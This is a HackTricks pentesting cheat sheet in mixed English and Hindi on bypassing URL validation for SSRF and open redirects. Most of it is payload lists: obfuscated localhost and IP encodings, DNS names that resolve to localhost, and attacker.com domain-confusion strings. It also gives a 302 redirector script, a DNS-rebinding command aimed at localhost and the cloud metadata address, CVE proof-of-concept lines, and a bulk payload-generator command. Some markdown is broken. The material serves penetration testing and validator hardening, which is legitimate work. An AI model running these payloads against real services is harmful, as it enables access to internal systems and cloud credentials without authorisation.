URL Format Bypass

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Localhost

Localhost payloads ```bash # Localhost 0 # Yes, just 0 is localhost in Linux http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://127.000000000000000.1 http://0 http:@0/ --> http://localhost/ http://0.0.0.0:80 http://localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪

CIDR bypass

http://127.127.127.127 http://127.0.1.3 http://127.0.0.0

Dot bypass

127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821

Decimal bypass

http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1

Octal Bypass

http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001

Hexadecimal bypass

127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001

Mixed encodings bypass

169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number 0xA9.254.0251.0376 -> hexadecimal, decimal and octal

Add 0s bypass

127.000000000000.1

You can also mix different encoding formats

https://www.silisoftware.com/tools/ipconverter.php

Malformed and rare

localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1

DNS to localhost

localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1

</details>

![](<../../images/image (776).png>)

यह **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) IP formatting bypasses को लागू करता है।

### Domain Parser

<details>
<summary>Domain parser bypasses</summary>
```bash
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
# double encoded fragment to bypass split("#"): attacker.com%2523@victim
``` ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` ### Domain Confusion
Domain confusion payloads ```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try replacing https by http # Try URL-encoded characters https://{domain}@attacker.com https://{domain}.attacker.com https://{domain}%6D@attacker.com https://attacker.com/{domain} https://attacker.com/?d={domain} https://attacker.com#{domain} https://attacker.com@{domain} https://attacker.com#@{domain} https://attacker.com%23@{domain} https://attacker.com%00{domain} https://attacker.com%0A{domain} https://attacker.com?{domain} https://attacker.com///{domain} https://attacker.com\{domain}/ https://attacker.com;https://{domain} https://attacker.com\{domain}/ https://attacker.com\.{domain} https://attacker.com/.{domain} https://attacker.com\@@{domain} https://attacker.com:\@@{domain} https://attacker.com#\@{domain} https://attacker.com\anything@{domain}/ https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com # colon + backslash confusion (CVE-2025-0454 in autogpt) http://localhost:\@google.com/../

On each IP position try to put 1 attackers domain and the others the victim domain

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

Parameter pollution

next={domain}&next=attacker.com

</details>

### Paths and Extensions Bypass

यदि यह आवश्यक है कि URL किसी path या extension में समाप्त हो, या इसमें path होना चाहिए, तो आप निम्नलिखित bypasses में से किसी एक को आजमा सकते हैं:

https://metadata/vulnerable/path#/expected/path https://metadata/vulnerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path

### Fuzzing

यह टूल [**recollapse**](https://github.com/0xacb/recollapse) दिए गए इनपुट से वैरिएशन्स जनरेट कर सकता है ताकि उपयोग किए गए regex को बायपास करने की कोशिश की जा सके। अधिक जानकारी के लिए [**this post**](https://0xacb.com/2022/11/21/recollapse/) भी देखें।

### Automatic Custom Wordlists

portswigger का [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) देखें जहाँ आप allowed host और attacker का host दर्ज कर सकते हैं और यह आपके लिए ट्राय करने के लिए URLs की एक सूची जेनरेट करेगा। यह यह भी ध्यान में रखता है कि क्या आप URL को parameter में, Host header में या CORS header में उपयोग कर सकते हैं।

<a class="content_ref" href="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet"><span class="content_ref_label">URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy</span></a>

### Bypass via redirect

यह संभव है कि सर्वर SSRF के **filtering the original request** कर रहा हो **but not** उस अनुरोध के संभावित **redirect** response को।\
उदाहरण के लिए, SSRF के लिए कमजोर सर्वर `url=https://www.google.com/` हो सकता है और वह **filtering the url param** कर रहा हो। लेकिन यदि आप [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) का उपयोग करके उस जगह पर redirect करते हैं जहाँ आप भेजना चाहते हैं, तो आप 127.0.0.1 जैसे **access filtered IP addresses** या यहाँ तक कि gopher जैसे filtered **protocols** तक पहुँचने में सक्षम हो सकते हैं।\
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)

<details>
<summary>Simple redirector for SSRF testing</summary>
```python
#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

DNS rebinding bypass (2025+)

यहाँ तक कि जब कोई SSRF filter HTTP request भेजने से पहले एक single DNS resolution करता है, तब भी आप lookup और connection के बीच domain को rebinding करके internal hosts तक पहुँच सकते हैं:

  1. victim.example.com को एक public IP पर point करें ताकि यह allow‑list / CIDR check पास कर जाए।
  2. बहुत कम TTL सर्व करें (या अपना authoritative server इस्तेमाल करें) और वास्तविक request भेजने से ठीक पहले domain को 127.0.0.1 या 169.254.169.254 पर rebind करें।
  3. Singularity (nccgroup/singularity) जैसे tools authoritative DNS + HTTP server को automate करते हैं और ready‑made payloads शामिल करते हैं। उदाहरण के तौर पर चलाने का तरीका: python3 singularity.py --lhost <your_ip> --rhost 127.0.0.1 --domain rebinder.test --http-port 8080.

यह technique 2025 में BentoML के “safe URL” patch और समान single‑resolve SSRF filters को bypass करने के लिए इस्तेमाल की गई थी।

समझाई गई ट्रिक्स

Backslash-trick

the backslash-trick WHATWG URL Standard और RFC3986 के बीच के फर्क का फायदा उठाता है। जहाँ RFC3986 सामान्य framework है URIs के लिए, WHATWG web URLs के लिए specific है और modern browsers में उपयोग होता है। मुख्य अंतर WHATWG standard में backslash (\) को forward slash (/) के समकक्ष मानने में है, जो URL parsing को प्रभावित करता है और विशेष रूप से hostname से path में transition को कैसे चिह्नित किया जाता है उसे बदल देता है।

https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg

Left square bracket

यूज़रइनफ़ो segment में “left square bracket” character [ Spring’s UriComponentsBuilder को ऐसा hostname value लौटाने का कारण बन सकता है जो browsers से भिन्न हो: https://example.com[@attacker.com

Other Confusions

https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

चित्र स्रोत: https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

IPv6 Zone Identifier (%25) Trick

RFC 6874 को support करने वाले आधुनिक URL parsers link-local IPv6 addresses को percent sign के बाद एक zone identifier शामिल करने की अनुमति देते हैं। कुछ security filters इस syntax से अनभिज्ञ होते हैं और केवल square-bracketed IPv6 literals को ही हटाते हैं, जिससे निम्न payload internal interface तक पहुँच जाता है:

http://[fe80::1%25eth0]/          # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)

यदि लक्ष्य एप्लिकेशन सत्यापित करता है कि host नहीं है fe80::1 पर % पर पार्सिंग रोक देता है, तो यह अनुरोध को गलत तरीके से external मान सकता है। किसी भी सुरक्षा निर्णय से पहले पते को हमेशा सामान्यीकृत करें या वैकल्पिक zone id को पूरी तरह हटा दें।

हाल के लाइब्रेरी पार्सिंग CVEs (2022–2026)

कई प्रमुख frameworks में hostname-mismatch समस्याएँ पाई गई हैं जिन्हें ऊपर दिए गए ट्रिक्स से URL वैलिडेशन बाईपास होने पर SSRF के लिए exploit किया जा सकता है:

वर्षCVEComponentBug synopsisMinimal PoC
2025CVE-2025-0454Python requests + urllib.parse (autogpt)Parsing mismatch on http://localhost:\\@google.com/../ की वजह से allow‑lists को host google.com लगता है जबकि अनुरोध localhost पर जाता है।requests.get("http://localhost:\\@google.com/../")
2025CVE-2025-2691Node package nossrfLibrary meant to block SSRF केवल मूल hostname की जाँच करती है, न कि resolved IP, जिससे ऐसे hostnames स्वीकार हो जाते हैं जो private रेंज पर resolve होते हैं।curl "http://trusted.example" --resolve trusted.example:80:127.0.0.1
2024CVE-2024-29415Node ip packageisPublic() ने dotted‑octal / short‑form localhost (उदा., 0127.0.0.1, 127.1) को public के रूप में गलत श्रेणीबद्ध किया, जिससे फिल्टर्स आंतरिक लक्ष्यों को स्वीकार कर लेते हैं।ip.isPublic('0127.0.0.1') returns true on vulnerable versions
2024CVE-2024-3095Langchain WebResearchRetrieverकोई host filtering नहीं; GET अनुरोध AI एजेंट्स से IMDS/localhost तक पहुँच सकते हैं।User‑controlled URL inside WebResearchRetriever
2024CVE-2024-22243 / ‑22262Spring UriComponentsBuilder[ userinfo में Spring और ब्राउज़र्स द्वारा अलग parsed होता है, जिससे allow‑list bypass संभव होता है।https://example.com\[@internal
2023CVE-2023-27592urllib3 <1.26.15Backslash confusion ने http://example.com\\@169.254.169.254/ को ऐसे host फिल्टर्स बाइपास करने दिया जो @ पर split करते हैं।
2022CVE-2022-3602OpenSSLजब नाम के अंत में . जुड़ा हो तो hostname verification स्किप हो जाती है (dotless domain confusion)।

Payload-generation helpers (2024+)

हाथ से बड़ी कस्टम शब्द-सूचियाँ बनाना झंझटभरा होता है। ओपन-सोर्स टूल SSRF-PayloadMaker (Python 3) अब 80 k+ host-mangling कॉम्बिनेशंस स्वचालित रूप से जनरेट कर सकता है, जिनमें mixed encodings, forced-HTTP downgrade और backslash variants शामिल हैं:

# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt

प्राप्त सूची को सीधे Burp Intruder या ffuf में फीड किया जा सकता है।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें